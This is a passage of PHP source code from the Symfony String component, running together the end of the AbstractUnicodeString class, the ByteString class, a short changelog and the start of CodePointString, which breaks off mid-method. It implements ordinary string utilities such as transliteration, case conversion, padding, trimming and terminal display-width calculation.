'Ƀ', 'Ʉ', 'Ɇ', 'ɇ', 'Ɉ', 'ɉ', 'Ɍ', 'ɍ', 'Ɏ', 'ɏ', 'ɓ', 'ɕ', 'ɖ', 'ɗ', 'ɛ', 'ɟ', 'ɠ', 'ɡ', 'ɢ', 'ɦ', 'ɧ', 'ɨ', 'ɪ', 'ɫ', 'ɬ', 'ɭ', 'ɱ', 'ɲ', 'ɳ', 'ɴ', 'ɶ', 'ɼ', 'ɽ', 'ɾ', 'ʀ', 'ʂ', 'ʈ', 'ʉ', 'ʋ', 'ʏ', 'ʐ', 'ʑ', 'ʙ', 'ʛ', 'ʜ', 'ʝ', 'ʟ', 'ʠ', 'ʣ', 'ʥ', 'ʦ', 'ʪ', 'ʫ', 'ᴀ', 'ᴁ', 'ᴃ', 'ᴄ', 'ᴅ', 'ᴆ', 'ᴇ', 'ᴊ', 'ᴋ', 'ᴌ', 'ᴍ', 'ᴏ', 'ᴘ', 'ᴛ', 'ᴜ', 'ᴠ', 'ᴡ', 'ᴢ', 'ᵫ', 'ᵬ', 'ᵭ', 'ᵮ', 'ᵯ', 'ᵰ', 'ᵱ', 'ᵲ', 'ᵳ', 'ᵴ', 'ᵵ', 'ᵶ', 'ᵺ', 'ᵻ', 'ᵽ', 'ᵾ', 'ᶀ', 'ᶁ', 'ᶂ', 'ᶃ', 'ᶄ', 'ᶅ', 'ᶆ', 'ᶇ', 'ᶈ', 'ᶉ', 'ᶊ', 'ᶌ', 'ᶍ', 'ᶎ', 'ᶏ', 'ᶑ', 'ᶒ', 'ᶓ', 'ᶖ', 'ᶙ', 'ẚ', 'ẜ', 'ẝ', 'ẞ', 'Ỻ', 'ỻ', 'Ỽ', 'ỽ', 'Ỿ', 'ỿ', '©', '®', '₠', '₢', '₣', '₤', '₧', '₺', '₹', 'ℌ', '℞', '㎧', '㎮', '㏆', '㏗', '㏞', '㏟', '¼', '½', '¾', '⅓', '⅔', '⅕', '⅖', '⅗', '⅘', '⅙', '⅚', '⅛', '⅜', '⅝', '⅞', '⅟', '〇', '‘', '’', '‚', '‛', '“', '”', '„', '‟', '′', '″', '〝', '〞', '«', '»', '‹', '›', '‐', '‑', '‒', '–', '—', '―', '︱', '︲', '﹘', '‖', '⁄', '⁅', '⁆', '⁎', '、', '。', '〈', '〉', '《', '》', '〔', '〕', '〘', '〙', '〚', '〛', '︑', '︒', '︹', '︺', '︽', '︾', '︿', '﹀', '﹑', '﹝', '﹞', '⦅', '⦆', '。', '、', '×', '÷', '−', '∕', '∖', '∣', '∥', '≪', '≫', '⦅', '⦆']; private const TRANSLIT_TO = ['AE', 'D', 'O', 'TH', 'ss', 'ae', 'd', 'o', 'th', 'D', 'd', 'H', 'h', 'i', 'q', 'L', 'l', 'L', 'l', '\'n', 'N', 'n', 'OE', 'oe', 'T', 't', 'b', 'B', 'B', 'b', 'C', 'c', 'D', 'D', 'D', 'd', 'E', 'F', 'f', 'G', 'hv', 'I', 'I', 'K', 'k', 'l', 'N', 'n', 'OI', 'oi', 'P', 'p', 't', 'T', 't', 'T', 'V', 'Y', 'y', 'Z', 'z', 'DZ', 'Dz', 'dz', 'G', 'g', 'd', 'Z', 'z', 'l', 'n', 't', 'j', 'db', 'qp', 'A', 'C', 'c', 'L', 'T', 's', 'z', 'B', 'U', 'E', 'e', 'J', 'j', 'R', 'r', 'Y', 'y', 'b', 'c', 'd', 'd', 'e', 'j', 'g', 'g', 'G', 'h', 'h', 'i', 'I', 'l', 'l', 'l', 'm', 'n', 'n', 'N', 'OE', 'r', 'r', 'r', 'R', 's', 't', 'u', 'v', 'Y', 'z', 'z', 'B', 'G', 'H', 'j', 'L', 'q', 'dz', 'dz', 'ts', 'ls', 'lz', 'A', 'AE', 'B', 'C', 'D', 'D', 'E', 'J', 'K', 'L', 'M', 'O', 'P', 'T', 'U', 'V', 'W', 'Z', 'ue', 'b', 'd', 'f', 'm', 'n', 'p', 'r', 'r', 's', 't', 'z', 'th', 'I', 'p', 'U', 'b', 'd', 'f', 'g', 'k', 'l', 'm', 'n', 'p', 'r', 's', 'v', 'x', 'z', 'a', 'd', 'e', 'e', 'i', 'u', 'a', 's', 's', 'SS', 'LL', 'll', 'V', 'v', 'Y', 'y', '(C)', '(R)', 'CE', 'Cr', 'Fr.', 'L.', 'Pts', 'TL', 'Rs', 'x', 'Rx', 'm/s', 'rad/s', 'C/kg', 'pH', 'V/m', 'A/m', ' 1/4', ' 1/2', ' 3/4', ' 1/3', ' 2/3', ' 1/5', ' 2/5', ' 3/5', ' 4/5', ' 1/6', ' 5/6', ' 1/8', ' 3/8', ' 5/8', ' 7/8', ' 1/', '0', '\'', '\'', ',', '\'', '"', '"', ',,', '"', '\'', '"', '"', '"', '<<', '>>', '<', '>', '-', '-', '-', '-', '-', '-', '-', '-', '-', '||', '/', '[', ']', '*', ',', '.', '<', '>', '<<', '>>', '[', ']', '[', ']', '[', ']', ',', '.', '[', ']', '<<', '>>', '<', '>', ',', '[', ']', '((', '))', '.', ',', '*', '/', '-', '/', '\\', '|', '||', '<<', '>>', '((', '))']; private static array $transliterators = []; private static array $tableZero; private static array $tableWide; public static function fromCodePoints(int ...$codes): static { $string = ''; foreach ($codes as $code) { if (0x80 > $code %= 0x200000) { $string .= \chr($code); } elseif (0x800 > $code) { $string .= \chr(0xC0 | $code >> 6).\chr(0x80 | $code & 0x3F); } elseif (0x10000 > $code) { $string .= \chr(0xE0 | $code >> 12).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); } else { $string .= \chr(0xF0 | $code >> 18).\chr(0x80 | $code >> 12 & 0x3F).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); } } return new static($string); } /** * Generic UTF-8 to ASCII transliteration. * * Install the intl extension for best results. * * @param string[]|\Transliterator[]|\Closure[] $rules See "*-Latin" rules from Transliterator::listIDs() */ public function ascii(array $rules = []): self { $str = clone $this; $s = $str->string; $str->string = ''; array_unshift($rules, 'nfd'); $rules[] = 'latin-ascii'; if (\function_exists('transliterator_transliterate')) { $rules[] = 'any-latin/bgn'; } $rules[] = 'nfkd'; $rules[] = '[:nonspacing mark:] remove'; while (\strlen($s) - 1 > $i = strspn($s, self::ASCII)) { if (0 < --$i) { $str->string .= substr($s, 0, $i); $s = substr($s, $i); } if (!$rule = array_shift($rules)) { $rules = []; // An empty rule interrupts the next ones } if ($rule instanceof \Transliterator) { $s = $rule->transliterate($s); } elseif ($rule instanceof \Closure) { $s = $rule($s); } elseif ($rule) { if ('nfd' === $rule = strtolower($rule)) { normalizer_is_normalized($s, self::NFD) ?: $s = normalizer_normalize($s, self::NFD); } elseif ('nfkd' === $rule) { normalizer_is_normalized($s, self::NFKD) ?: $s = normalizer_normalize($s, self::NFKD); } elseif ('[:nonspacing mark:] remove' === $rule) { $s = preg_replace('/\p{Mn}++/u', '', $s); } elseif ('latin-ascii' === $rule) { $s = str_replace(self::TRANSLIT_FROM, self::TRANSLIT_TO, $s); } elseif ('de-ascii' === $rule) { $s = preg_replace("/([AUO])\u{0308}(?=\p{Ll})/u", '$1e', $s); $s = str_replace(["a\u{0308}", "o\u{0308}", "u\u{0308}", "A\u{0308}", "O\u{0308}", "U\u{0308}"], ['ae', 'oe', 'ue', 'AE', 'OE', 'UE'], $s); } elseif (\function_exists('transliterator_transliterate')) { if (null === $transliterator = self::$transliterators[$rule] ??= \Transliterator::create($rule)) { if ('any-latin/bgn' === $rule) { $rule = 'any-latin'; $transliterator = self::$transliterators[$rule] ??= \Transliterator::create($rule); } if (null === $transliterator) { throw new InvalidArgumentException(\sprintf('Unknown transliteration rule "%s".', $rule)); } self::$transliterators['any-latin/bgn'] = $transliterator; } $s = $transliterator->transliterate($s); } } elseif (!\function_exists('iconv')) { $s = preg_replace('/[^\x00-\x7F]/u', '?', $s); } else { $previousLocale = setlocale(\LC_CTYPE, 0); try { setlocale(\LC_CTYPE, 'C'); $s = @preg_replace_callback('/[^\x00-\x7F]/u', static function ($c) { $c = (string) iconv('UTF-8', 'ASCII//TRANSLIT', $c[0]); if ('' === $c && '' === iconv('UTF-8', 'ASCII//TRANSLIT', '²')) { throw new \LogicException(\sprintf('"%s" requires a translit-able iconv implementation, try installing "gnu-libiconv" if you\'re using Alpine Linux.', static::class)); } return 1 < \strlen($c) ? ltrim($c, '\'`"^~') : ('' !== $c ? $c : '?'); }, $s); } finally { setlocale(\LC_CTYPE, $previousLocale); } } } $str->string .= $s; return $str; } public function camel(): static { $str = clone $this; $str->string = str_replace(' ', '', preg_replace_callback('/\b.(?!\p{Lu})/u', static function ($m) { static $i = 0; return 1 === ++$i ? ('İ' === $m[0] ? 'i̇' : mb_strtolower($m[0], 'UTF-8')) : mb_convert_case($m[0], \MB_CASE_TITLE, 'UTF-8'); }, preg_replace('/[^\pL0-9]++/u', ' ', $this->string))); return $str; } /** * @return int[] */ public function codePointsAt(int $offset): array { $str = $this->slice($offset, 1); if ('' === $str->string) { return []; } $codePoints = []; foreach (preg_split('//u', $str->string, -1, \PREG_SPLIT_NO_EMPTY) as $c) { $codePoints[] = mb_ord($c, 'UTF-8'); } return $codePoints; } public function folded(bool $compat = true): static { $str = clone $this; if (!$compat || !\defined('Normalizer::NFKC_CF')) { $str->string = normalizer_normalize($str->string, $compat ? \Normalizer::NFKC : \Normalizer::NFC); $str->string = mb_strtolower(str_replace(self::FOLD_FROM, self::FOLD_TO, $str->string), 'UTF-8'); } else { $str->string = normalizer_normalize($str->string, \Normalizer::NFKC_CF); } return $str; } public function join(array $strings, ?string $lastGlue = null): static { $str = clone $this; $tail = null !== $lastGlue && 1 < \count($strings) ? $lastGlue.array_pop($strings) : ''; $str->string = implode($this->string, $strings).$tail; if (!preg_match('//u', $str->string)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } return $str; } public function lower(): static { $str = clone $this; $str->string = mb_strtolower(str_replace('İ', 'i̇', $str->string), 'UTF-8'); return $str; } public function match(string $regexp, int $flags = 0, int $offset = 0): array { $match = ((\PREG_PATTERN_ORDER | \PREG_SET_ORDER) & $flags) ? 'preg_match_all' : 'preg_match'; if ($this->ignoreCase) { $regexp .= 'i'; } set_error_handler(static fn ($t, $m) => throw new InvalidArgumentException($m)); try { if (false === $match($regexp.'u', $this->string, $matches, $flags | \PREG_UNMATCHED_AS_NULL, $offset)) { throw new RuntimeException('Matching failed with error: '.preg_last_error_msg()); } } finally { restore_error_handler(); } return $matches; } public function normalize(int $form = self::NFC): static { if (!\in_array($form, [self::NFC, self::NFD, self::NFKC, self::NFKD])) { throw new InvalidArgumentException('Unsupported normalization form.'); } $str = clone $this; normalizer_is_normalized($str->string, $form) ?: $str->string = normalizer_normalize($str->string, $form); return $str; } public function padBoth(int $length, string $padStr = ' '): static { if ('' === $padStr || !preg_match('//u', $padStr)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $pad = clone $this; $pad->string = $padStr; return $this->pad($length, $pad, \STR_PAD_BOTH); } public function padEnd(int $length, string $padStr = ' '): static { if ('' === $padStr || !preg_match('//u', $padStr)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $pad = clone $this; $pad->string = $padStr; return $this->pad($length, $pad, \STR_PAD_RIGHT); } public function padStart(int $length, string $padStr = ' '): static { if ('' === $padStr || !preg_match('//u', $padStr)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $pad = clone $this; $pad->string = $padStr; return $this->pad($length, $pad, \STR_PAD_LEFT); } public function replaceMatches(string $fromRegexp, string|callable $to): static { if ($this->ignoreCase) { $fromRegexp .= 'i'; } if (\is_array($to) || $to instanceof \Closure) { $replace = 'preg_replace_callback'; $to = static function (array $m) use ($to): string { $to = $to($m); if ('' !== $to && (!\is_string($to) || !preg_match('//u', $to))) { throw new InvalidArgumentException('Replace callback must return a valid UTF-8 string.'); } return $to; }; } elseif ('' !== $to && !preg_match('//u', $to)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } else { $replace = 'preg_replace'; } set_error_handler(static fn ($t, $m) => throw new InvalidArgumentException($m)); try { if (null === $string = $replace($fromRegexp.'u', $to, $this->string)) { $lastError = preg_last_error(); foreach (get_defined_constants(true)['pcre'] as $k => $v) { if ($lastError === $v && str_ends_with($k, '_ERROR')) { throw new RuntimeException('Matching failed with '.$k.'.'); } } throw new RuntimeException('Matching failed with unknown error code.'); } } finally { restore_error_handler(); } $str = clone $this; $str->string = $string; return $str; } public function reverse(): static { $str = clone $this; $str->string = implode('', array_reverse(preg_split('/(\X)/u', $str->string, -1, \PREG_SPLIT_DELIM_CAPTURE | \PREG_SPLIT_NO_EMPTY))); return $str; } public function snake(): static { $str = $this->camel(); $str->string = mb_strtolower(preg_replace(['/(\p{Lu}+)(\p{Lu}\p{Ll})/u', '/([\p{Ll}0-9])(\p{Lu})/u'], '\1_\2', $str->string), 'UTF-8'); return $str; } public function title(bool $allWords = false): static { $str = clone $this; $limit = $allWords ? -1 : 1; $str->string = preg_replace_callback('/\b./u', static fn (array $m): string => mb_convert_case($m[0], \MB_CASE_TITLE, 'UTF-8'), $str->string, $limit); return $str; } public function trim(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): static { if (" \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}" !== $chars && !preg_match('//u', $chars)) { throw new InvalidArgumentException('Invalid UTF-8 chars.'); } $chars = preg_quote($chars); $str = clone $this; $str->string = preg_replace("{^[$chars]++|[$chars]++$}uD", '', $str->string); return $str; } public function trimEnd(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): static { if (" \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}" !== $chars && !preg_match('//u', $chars)) { throw new InvalidArgumentException('Invalid UTF-8 chars.'); } $chars = preg_quote($chars); $str = clone $this; $str->string = preg_replace("{[$chars]++$}uD", '', $str->string); return $str; } public function trimPrefix($prefix): static { if (!$this->ignoreCase) { return parent::trimPrefix($prefix); } $str = clone $this; if ($prefix instanceof \Traversable) { $prefix = iterator_to_array($prefix, false); } elseif ($prefix instanceof parent) { $prefix = $prefix->string; } $prefix = implode('|', array_map('preg_quote', (array) $prefix)); $str->string = preg_replace("{^(?:$prefix)}iuD", '', $this->string); return $str; } public function trimStart(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): static { if (" \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}" !== $chars && !preg_match('//u', $chars)) { throw new InvalidArgumentException('Invalid UTF-8 chars.'); } $chars = preg_quote($chars); $str = clone $this; $str->string = preg_replace("{^[$chars]++}uD", '', $str->string); return $str; } public function trimSuffix($suffix): static { if (!$this->ignoreCase) { return parent::trimSuffix($suffix); } $str = clone $this; if ($suffix instanceof \Traversable) { $suffix = iterator_to_array($suffix, false); } elseif ($suffix instanceof parent) { $suffix = $suffix->string; } $suffix = implode('|', array_map('preg_quote', (array) $suffix)); $str->string = preg_replace("{(?:$suffix)$}iuD", '', $this->string); return $str; } public function upper(): static { $str = clone $this; $str->string = mb_strtoupper($str->string, 'UTF-8'); return $str; } public function width(bool $ignoreAnsiDecoration = true): int { $width = 0; $s = str_replace(["\x00", "\x05", "\x07"], '', $this->string); if (str_contains($s, "\r")) { $s = str_replace(["\r\n", "\r"], "\n", $s); } if (!$ignoreAnsiDecoration) { $s = preg_replace('/[\p{Cc}\x7F]++/u', '', $s); } foreach (explode("\n", $s) as $s) { if ($ignoreAnsiDecoration) { $s = preg_replace('/(?:\x1B(?: \[ [\x30-\x3F]*+ [\x20-\x2F]*+ [\x40-\x7E] | [P\]X^_] .*? \x1B\\\\ | [\x41-\x7E] )|[\p{Cc}\x7F]++)/xu', '', $s); } $lineWidth = $this->wcswidth($s); if ($lineWidth > $width) { $width = $lineWidth; } } return $width; } private function pad(int $len, self $pad, int $type): static { $sLen = $this->length(); if ($len <= $sLen) { return clone $this; } $padLen = $pad->length(); $freeLen = $len - $sLen; $len = $freeLen % $padLen; switch ($type) { case \STR_PAD_RIGHT: return $this->append(str_repeat($pad->string, intdiv($freeLen, $padLen)).($len ? $pad->slice(0, $len) : '')); case \STR_PAD_LEFT: return $this->prepend(str_repeat($pad->string, intdiv($freeLen, $padLen)).($len ? $pad->slice(0, $len) : '')); case \STR_PAD_BOTH: $freeLen /= 2; $rightLen = ceil($freeLen); $len = $rightLen % $padLen; $str = $this->append(str_repeat($pad->string, intdiv($rightLen, $padLen)).($len ? $pad->slice(0, $len) : '')); $leftLen = floor($freeLen); $len = $leftLen % $padLen; return $str->prepend(str_repeat($pad->string, intdiv($leftLen, $padLen)).($len ? $pad->slice(0, $len) : '')); default: throw new InvalidArgumentException('Invalid padding type.'); } } /** * Based on https://github.com/jquast/wcwidth, a Python implementation of https://www.cl.cam.ac.uk/~mgk25/ucs/wcwidth.c. */ private function wcswidth(string $string): int { $width = 0; foreach (preg_split('//u', $string, -1, \PREG_SPLIT_NO_EMPTY) as $c) { $codePoint = mb_ord($c, 'UTF-8'); if (0 === $codePoint // NULL || 0x034F === $codePoint // COMBINING GRAPHEME JOINER || (0x200B <= $codePoint && 0x200F >= $codePoint) // ZERO WIDTH SPACE to RIGHT-TO-LEFT MARK || 0x2028 === $codePoint // LINE SEPARATOR || 0x2029 === $codePoint // PARAGRAPH SEPARATOR || (0x202A <= $codePoint && 0x202E >= $codePoint) // LEFT-TO-RIGHT EMBEDDING to RIGHT-TO-LEFT OVERRIDE || (0x2060 <= $codePoint && 0x2063 >= $codePoint) // WORD JOINER to INVISIBLE SEPARATOR ) { continue; } // Non printable characters if (32 > $codePoint // C0 control characters || (0x07F <= $codePoint && 0x0A0 > $codePoint) // C1 control characters and DEL ) { return -1; } self::$tableZero ??= require __DIR__.'/Resources/data/wcswidth_table_zero.php'; if ($codePoint >= self::$tableZero[0][0] && $codePoint <= self::$tableZero[$ubound = \count(self::$tableZero) - 1][1]) { $lbound = 0; while ($ubound >= $lbound) { $mid = floor(($lbound + $ubound) / 2); if ($codePoint > self::$tableZero[$mid][1]) { $lbound = $mid + 1; } elseif ($codePoint < self::$tableZero[$mid][0]) { $ubound = $mid - 1; } else { continue 2; } } } self::$tableWide ??= require __DIR__.'/Resources/data/wcswidth_table_wide.php'; if ($codePoint >= self::$tableWide[0][0] && $codePoint <= self::$tableWide[$ubound = \count(self::$tableWide) - 1][1]) { $lbound = 0; while ($ubound >= $lbound) { $mid = floor(($lbound + $ubound) / 2); if ($codePoint > self::$tableWide[$mid][1]) { $lbound = $mid + 1; } elseif ($codePoint < self::$tableWide[$mid][0]) { $ubound = $mid - 1; } else { $width += 2; continue 2; } } } ++$width; } return $width; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; use Symfony\Component\String\Exception\ExceptionInterface; use Symfony\Component\String\Exception\InvalidArgumentException; use Symfony\Component\String\Exception\RuntimeException; /** * Represents a binary-safe string of bytes. * * @author Nicolas Grekas * @author Hugo Hamon * * @throws ExceptionInterface */ class ByteString extends AbstractString { private const ALPHABET_ALPHANUMERIC = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'; public function __construct(string $string = '') { $this->string = $string; } /* * The following method was derived from code of the Hack Standard Library (v4.40 - 2020-05-03) * * https://github.com/hhvm/hsl/blob/80a42c02f036f72a42f0415e80d6b847f4bf62d5/src/random/private.php#L16 * * Code subject to the MIT license (https://github.com/hhvm/hsl/blob/master/LICENSE). * * Copyright (c) 2004-2020, Facebook, Inc. (https://www.facebook.com/) */ public static function fromRandom(int $length = 16, ?string $alphabet = null): self { if ($length <= 0) { throw new InvalidArgumentException(\sprintf('A strictly positive length is expected, "%d" given.', $length)); } $alphabet ??= self::ALPHABET_ALPHANUMERIC; $alphabetSize = \strlen($alphabet); $bits = (int) ceil(log($alphabetSize, 2.0)); if ($bits <= 0 || $bits > 56) { throw new InvalidArgumentException('The length of the alphabet must in the [2^1, 2^56] range.'); } $ret = ''; while ($length > 0) { $urandomLength = (int) ceil(2 * $length * $bits / 8.0); $data = random_bytes($urandomLength); $unpackedData = 0; $unpackedBits = 0; for ($i = 0; $i < $urandomLength && $length > 0; ++$i) { // Unpack 8 bits $unpackedData = ($unpackedData << 8) | \ord($data[$i]); $unpackedBits += 8; // While we have enough bits to select a character from the alphabet, keep // consuming the random data for (; $unpackedBits >= $bits && $length > 0; $unpackedBits -= $bits) { $index = ($unpackedData & ((1 << $bits) - 1)); $unpackedData >>= $bits; // Unfortunately, the alphabet size is not necessarily a power of two. // Worst case, it is 2^k + 1, which means we need (k+1) bits and we // have around a 50% chance of missing as k gets larger if ($index < $alphabetSize) { $ret .= $alphabet[$index]; --$length; } } } } return new static($ret); } public function bytesAt(int $offset): array { $str = $this->string[$offset] ?? ''; return '' === $str ? [] : [\ord($str)]; } public function append(string ...$suffix): static { $str = clone $this; $str->string .= 1 >= \count($suffix) ? ($suffix[0] ?? '') : implode('', $suffix); return $str; } public function camel(): static { $str = clone $this; $parts = explode(' ', trim(ucwords(preg_replace('/[^a-zA-Z0-9\x7f-\xff]++/', ' ', $this->string)))); $parts[0] = 1 !== \strlen($parts[0]) && ctype_upper($parts[0]) ? $parts[0] : lcfirst($parts[0]); $str->string = implode('', $parts); return $str; } public function chunk(int $length = 1): array { if (1 > $length) { throw new InvalidArgumentException('The chunk length must be greater than zero.'); } if ('' === $this->string) { return []; } $str = clone $this; $chunks = []; foreach (str_split($this->string, $length) as $chunk) { $str->string = $chunk; $chunks[] = clone $str; } return $chunks; } public function endsWith(string|iterable|AbstractString $suffix): bool { if ($suffix instanceof AbstractString) { $suffix = $suffix->string; } elseif (!\is_string($suffix)) { return parent::endsWith($suffix); } return '' !== $suffix && \strlen($this->string) >= \strlen($suffix) && 0 === substr_compare($this->string, $suffix, -\strlen($suffix), null, $this->ignoreCase); } public function equalsTo(string|iterable|AbstractString $string): bool { if ($string instanceof AbstractString) { $string = $string->string; } elseif (!\is_string($string)) { return parent::equalsTo($string); } if ('' !== $string && $this->ignoreCase) { return 0 === strcasecmp($string, $this->string); } return $string === $this->string; } public function folded(): static { $str = clone $this; $str->string = strtolower($str->string); return $str; } public function indexOf(string|iterable|AbstractString $needle, int $offset = 0): ?int { if ($needle instanceof AbstractString) { $needle = $needle->string; } elseif (!\is_string($needle)) { return parent::indexOf($needle, $offset); } if ('' === $needle) { return null; } $i = $this->ignoreCase ? stripos($this->string, $needle, $offset) : strpos($this->string, $needle, $offset); return false === $i ? null : $i; } public function indexOfLast(string|iterable|AbstractString $needle, int $offset = 0): ?int { if ($needle instanceof AbstractString) { $needle = $needle->string; } elseif (!\is_string($needle)) { return parent::indexOfLast($needle, $offset); } if ('' === $needle) { return null; } $i = $this->ignoreCase ? strripos($this->string, $needle, $offset) : strrpos($this->string, $needle, $offset); return false === $i ? null : $i; } public function isUtf8(): bool { return '' === $this->string || preg_match('//u', $this->string); } public function join(array $strings, ?string $lastGlue = null): static { $str = clone $this; $tail = null !== $lastGlue && 1 < \count($strings) ? $lastGlue.array_pop($strings) : ''; $str->string = implode($this->string, $strings).$tail; return $str; } public function length(): int { return \strlen($this->string); } public function lower(): static { $str = clone $this; $str->string = strtolower($str->string); return $str; } public function match(string $regexp, int $flags = 0, int $offset = 0): array { $match = ((\PREG_PATTERN_ORDER | \PREG_SET_ORDER) & $flags) ? 'preg_match_all' : 'preg_match'; if ($this->ignoreCase) { $regexp .= 'i'; } set_error_handler(static fn ($t, $m) => throw new InvalidArgumentException($m)); try { if (false === $match($regexp, $this->string, $matches, $flags | \PREG_UNMATCHED_AS_NULL, $offset)) { throw new RuntimeException('Matching failed with error: '.preg_last_error_msg()); } } finally { restore_error_handler(); } return $matches; } public function padBoth(int $length, string $padStr = ' '): static { $str = clone $this; $str->string = str_pad($this->string, $length, $padStr, \STR_PAD_BOTH); return $str; } public function padEnd(int $length, string $padStr = ' '): static { $str = clone $this; $str->string = str_pad($this->string, $length, $padStr, \STR_PAD_RIGHT); return $str; } public function padStart(int $length, string $padStr = ' '): static { $str = clone $this; $str->string = str_pad($this->string, $length, $padStr, \STR_PAD_LEFT); return $str; } public function prepend(string ...$prefix): static { $str = clone $this; $str->string = (1 >= \count($prefix) ? ($prefix[0] ?? '') : implode('', $prefix)).$str->string; return $str; } public function replace(string $from, string $to): static { $str = clone $this; if ('' !== $from) { $str->string = $this->ignoreCase ? str_ireplace($from, $to, $this->string) : str_replace($from, $to, $this->string); } return $str; } public function replaceMatches(string $fromRegexp, string|callable $to): static { if ($this->ignoreCase) { $fromRegexp .= 'i'; } $replace = \is_array($to) || $to instanceof \Closure ? 'preg_replace_callback' : 'preg_replace'; set_error_handler(static fn ($t, $m) => throw new InvalidArgumentException($m)); try { if (null === $string = $replace($fromRegexp, $to, $this->string)) { $lastError = preg_last_error(); foreach (get_defined_constants(true)['pcre'] as $k => $v) { if ($lastError === $v && str_ends_with($k, '_ERROR')) { throw new RuntimeException('Matching failed with '.$k.'.'); } } throw new RuntimeException('Matching failed with unknown error code.'); } } finally { restore_error_handler(); } $str = clone $this; $str->string = $string; return $str; } public function reverse(): static { $str = clone $this; $str->string = strrev($str->string); return $str; } public function slice(int $start = 0, ?int $length = null): static { $str = clone $this; $str->string = (string) substr($this->string, $start, $length ?? \PHP_INT_MAX); return $str; } public function snake(): static { $str = $this->camel(); $str->string = strtolower(preg_replace(['/([A-Z]+)([A-Z][a-z])/', '/([a-z\d])([A-Z])/'], '\1_\2', $str->string)); return $str; } public function splice(string $replacement, int $start = 0, ?int $length = null): static { $str = clone $this; $str->string = substr_replace($this->string, $replacement, $start, $length ?? \PHP_INT_MAX); return $str; } public function split(string $delimiter, ?int $limit = null, ?int $flags = null): array { if (1 > $limit ??= \PHP_INT_MAX) { throw new InvalidArgumentException('Split limit must be a positive integer.'); } if ('' === $delimiter) { throw new InvalidArgumentException('Split delimiter is empty.'); } if (null !== $flags) { return parent::split($delimiter, $limit, $flags); } $str = clone $this; $chunks = $this->ignoreCase ? preg_split('{'.preg_quote($delimiter).'}iD', $this->string, $limit) : explode($delimiter, $this->string, $limit); foreach ($chunks as &$chunk) { $str->string = $chunk; $chunk = clone $str; } return $chunks; } public function startsWith(string|iterable|AbstractString $prefix): bool { if ($prefix instanceof AbstractString) { $prefix = $prefix->string; } elseif (!\is_string($prefix)) { return parent::startsWith($prefix); } return '' !== $prefix && 0 === ($this->ignoreCase ? strncasecmp($this->string, $prefix, \strlen($prefix)) : strncmp($this->string, $prefix, \strlen($prefix))); } public function title(bool $allWords = false): static { $str = clone $this; $str->string = $allWords ? ucwords($str->string) : ucfirst($str->string); return $str; } public function toUnicodeString(?string $fromEncoding = null): UnicodeString { return new UnicodeString($this->toCodePointString($fromEncoding)->string); } public function toCodePointString(?string $fromEncoding = null): CodePointString { $u = new CodePointString(); if (\in_array($fromEncoding, [null, 'utf8', 'utf-8', 'UTF8', 'UTF-8'], true) && preg_match('//u', $this->string)) { $u->string = $this->string; return $u; } set_error_handler(static fn ($t, $m) => throw new InvalidArgumentException($m)); try { try { $validEncoding = false !== mb_detect_encoding($this->string, $fromEncoding ?? 'Windows-1252', true); } catch (InvalidArgumentException $e) { if (!\function_exists('iconv')) { throw $e; } $u->string = iconv($fromEncoding ?? 'Windows-1252', 'UTF-8', $this->string); return $u; } } finally { restore_error_handler(); } if (!$validEncoding) { throw new InvalidArgumentException(\sprintf('Invalid "%s" string.', $fromEncoding ?? 'Windows-1252')); } $u->string = mb_convert_encoding($this->string, 'UTF-8', $fromEncoding ?? 'Windows-1252'); return $u; } public function trim(string $chars = " \t\n\r\0\x0B\x0C"): static { $str = clone $this; $str->string = trim($str->string, $chars); return $str; } public function trimEnd(string $chars = " \t\n\r\0\x0B\x0C"): static { $str = clone $this; $str->string = rtrim($str->string, $chars); return $str; } public function trimStart(string $chars = " \t\n\r\0\x0B\x0C"): static { $str = clone $this; $str->string = ltrim($str->string, $chars); return $str; } public function upper(): static { $str = clone $this; $str->string = strtoupper($str->string); return $str; } public function width(bool $ignoreAnsiDecoration = true): int { $string = preg_match('//u', $this->string) ? $this->string : preg_replace('/[\x80-\xFF]/', '?', $this->string); return (new CodePointString($string))->width($ignoreAnsiDecoration); } } CHANGELOG ========= 6.2 --- * Add support for emoji in `AsciiSlugger` 5.4 --- * Add `trimSuffix()` and `trimPrefix()` methods 5.3 --- * Made `AsciiSlugger` fallback to parent locale's symbolsMap 5.2.0 ----- * added a `FrenchInflector` class 5.1.0 ----- * added the `AbstractString::reverse()` method * made `AbstractString::width()` follow POSIX.1-2001 * added `LazyString` which provides memoizing stringable objects * The component is not marked as `@experimental` anymore * added the `s()` helper method to get either an `UnicodeString` or `ByteString` instance, depending of the input string UTF-8 compliancy * added `$cut` parameter to `Symfony\Component\String\AbstractString::truncate()` * added `AbstractString::containsAny()` * allow passing a string of custom characters to `ByteString::fromRandom()` 5.0.0 ----- * added the component as experimental * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; use Symfony\Component\String\Exception\ExceptionInterface; use Symfony\Component\String\Exception\InvalidArgumentException; /** * Represents a string of Unicode code points encoded as UTF-8. * * @author Nicolas Grekas * @author Hugo Hamon * * @throws ExceptionInterface */ class CodePointString extends AbstractUnicodeString { public function __construct(string $string = '') { if ('' !== $string && !preg_match('//u', $string)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $this->string = $string; } public function append(string ...$suffix): static { $str = clone $this; $str->string .= 1 >= \count($suffix) ? ($suffix[0] ?? '') : implode('', $suffix); if (!preg_match('//u', $str->string)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } return $str; } public function chunk(int $length = 1): array { if (1 > $length) { throw new InvalidArgumentException('The chunk length must be greater than zero.'); } if ('' === $this->string) { return []; } $rx = '/('; while (65535 < $length) { 